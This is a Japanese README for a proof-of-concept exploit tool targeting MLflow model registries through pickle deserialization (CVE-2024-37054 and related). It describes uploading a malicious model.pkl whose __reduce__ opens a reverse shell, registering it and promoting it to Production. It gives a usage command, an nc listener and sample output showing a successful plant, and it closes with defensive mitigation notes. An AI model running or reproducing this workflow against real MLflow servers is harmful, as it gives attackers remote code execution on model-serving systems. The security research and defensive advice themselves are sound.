mlflow-pickle-rce

MLflowモデルレジストリに対するpickleデシリアライゼーションRCEの汎用概念実証（CVE-2024-37054系）。MLflow REST APIとのみ通信し、その前段にある特定のクライアントアプリケーションについての仮定は一切置かない。

⚠️ 認可されたセキュリティテスト専用。 自身が所有するシステム、または明示的にテストを認可されたシステム（CTF/ラボ環境、署名済みスコープのあるエンゲージメントなど）に対してのみ実行すること。コンピュータシステムへの不正アクセスは、ほとんどの法域で違法である。

脆弱性

MLflowのpyfuncフレーバーは、mlflow.pyfunc.load_model()が呼び出されるたびに、登録済みモデルをmodel.pklアーティファクトのアンピクルによってロードする。これがMLflow UI/APIを通じて直接トリガーされる場合でも、登録済みモデルに対して推論を実行するクライアントアプリケーションによって間接的にトリガーされる場合でも同様である。

Pythonのpickleモジュールは、デシリアライズ中にオブジェクトの__reduce__メソッドを介して任意のコードを実行できる。攻撃者がMLflow APIに対して以下の操作を行うのに十分なアクセス権を持つ場合：

1. 実験のrunを作成する、
2. そのrunにアーティファクトをアップロードする、そして
3. それらのアーティファクトを指すモデルバージョンを登録する、

...攻撃者は悪意のあるpickleをmodel.pklとして密輸できる。次にそのモデルバージョンを何かがロードした時点で、攻撃者のコードはロードを行っているプロセス（MLflowサーバー自体、またはMLflowを組み込んだクライアントアプリ）のコンテキストで実行される。

これは、CVE-2023-6015、CVE-2023-6018、CVE-2024-37054を含む複数のMLflow CVEの背後にある根本的なプリミティブと同じである。MLflowインスタンスは認証なし、またはよく知られたデフォルト認証情報（admin:password）でデプロイされることが頻繁にあるため、特に危険である。

このスクリプトが行うこと

純粋にAPI駆動で、以下の順に実行する：

1. APIアクセス（HTTP basic認証）を検証する。
2. 登録済みモデルを作成する（または--model-name経由で既にアクセス権のあるものを再利用する）。
3. 指定された実験の下にrunを作成する。
4. 以下をビルドしてアップロードする：
   • model.pkl — __reduce__がos.system()を呼び出してリバースシェルを起動するpickle。
   • MLmodel — そのpickleに支えられたpython_function / sklearnフレーバーを宣言するマニフェスト。
5. それらのアーティファクトを指す新しいモデルバージョンを登録する。
6. オプションでそのバージョンを指定されたステージ（デフォルト：Production）に遷移させる。多くのクライアントアプリはモデルのProductionステージのバージョンのみをロードするためである。

このスクリプトが行わないこと

実際のモデルロードの発見やトリガーは行わない。その部分はデプロイメントごとに異なる：

• MLflow UI/API自体がモデルを直接ロードする場合がある。
• 別のクライアントアプリケーションが、何らかのエンドポイント（/predictルート、スケジュールされたバッチジョブなど）の背後でmlflow.pyfunc.load_model()を呼び出す場合がある。

以下を行う必要がある：

• ターゲットの--model-nameを自分で入手する — MLflow UI、MLflow API（/api/2.0/mlflow/registered-models/search）、またはクライアントアプリケーションがあなたに代わってモデルを登録する際に返すものから。
• ターゲットが行う方法で、自分でロードをトリガーする。

要件

pip install requests --break-system-packages

Python 3.8+。その他の依存関係はない。

使用方法

python3 mlflow_pickle_rce.py \
    --mlflow http://mlflow.target.tld \
    --model-name my-target-model \
    --lhost 10.10.14.1 --lport 4444

実行前または実行後にリスナーを起動する：

nc -lvnp 4444

その後、ターゲットアプリケーションが行う方法（独自の推論エンドポイント、バッチジョブ、MLflow UIからの手動でのモデルロードなど）でロードをトリガーする。

すべてのオプション

実行例

$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
    --model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200

[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
    (e.g. its /predict endpoint, or wait for a scheduled job that
     calls mlflow.pyfunc.load_model() on it).

検出と緩和（防御側のメモ）

• MLflowのトラッキング/モデルサーバーを認証なしで公開しない、そしてデフォルト認証情報（admin:password）を決して残さない。
• モデルバージョンを登録できる人を制限する。 モデルバージョンの登録は、後でそれをロードするあらゆるものに対する任意のコード実行と等価である — その権限はデプロイアクセスと同様に扱うこと。
• 信頼できないアーティファクトをアンピクルしない。 可能な限り、pickleに依存しないMLflowフレーバー/シリアライゼーション形式（例：ONNX、またはより安全なシリアライゼーションを持つフレーバー）を使用するか、モデルロードを検証/サンドボックス化する。
• MLflowの監査/アクセスログで予期しないregistered-models/create、model-versions/create、transition-stage呼び出しを監視する。特にProductionにモデルを公開すべきでないアカウントからのものを。
• モデルをロードするプロセス（MLflowサーバー、および/またはload_model()を呼び出すクライアントアプリ）をネットワークセグメント化する。そうすれば、そこでのコード実行プリミティブが機密性の高い内部システムへの直接的な経路を持たなくなる。

参考文献

• CVE-2024-37054 / CVE-2023-6015 / CVE-2023-6018 — MLflowのpickleデシリアライゼーション問題（最新のアドバイザリと影響を受けるバージョン範囲についてはNVD/MITREを検索）。
• MLflow REST APIドキュメント

ライセンス

MIT — LICENSEを参照。